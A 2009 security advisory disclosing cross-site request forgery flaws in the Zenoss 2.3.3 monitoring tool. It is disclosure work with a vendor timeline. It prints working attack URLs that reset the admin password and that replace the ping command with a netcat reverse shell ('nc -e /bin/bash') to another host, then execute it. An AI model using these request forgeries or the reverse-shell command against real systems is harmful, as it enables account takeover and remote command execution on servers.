Zenoss 2.3.3 Cross Site Request Forgery

`nGenuity Information Services - Security Advisory  
  
Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF  
Application: Zenoss 2.3.3  
Vendor: Zenoss  
Vendor website: http://www.zenoss.com  
Author: Adam Baldwin ([email protected])  
  
I. BACKGROUND  
Zenoss is a commercial and open source systems and network monitoring tool. Much  
of the applications functionality is accessible via a front end web application.  
  
II. DETAILS  
  
Multiple CSRF vulnerabilities exist that can allow for arbitrary  
commands to be executed on the Zenoss server as well as reset the Zenoss  
admin password.  
  
Attack scenario: If an administrator has an active Zenoss  
session and visits one of these links or visits a malicious page that  
contains resources to point to these URL's  
  
1. Reset user password to a known state Cross-Site Request Forgery CSRF,  
in this case the password is reset to letmein.  
  
http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&  
defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh:  
boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=&  
password=letmein&sndpassword=letmein&zenScreenName=editUserSettings  
  
2. Change and execute a command CSRF.  
Change the ping command to be a netcat shell out to a remote system. In  
this case an internal system running on port 443  
  
http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e  
/bin/bash 172.16.28.6 443&commandId=ping&description:text=&  
manage_editUserCommand:method=Save&zenScreenName=userCommandDetail  
  
Execute the new "ping" command:  
http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping  
  
  
III. REFERENCES  
[1] - http://www.zenoss.com  
  
IV. VENDOR COMMUNICATION  
3.10.2009 - Vulnerability Discovery  
8.21.2009 - Requested status from vendor  
9.29.2009 - Vendor call (Fix pending)  
  
Copyright (c) 2009 nGenuity Information Services, LLC  
  
`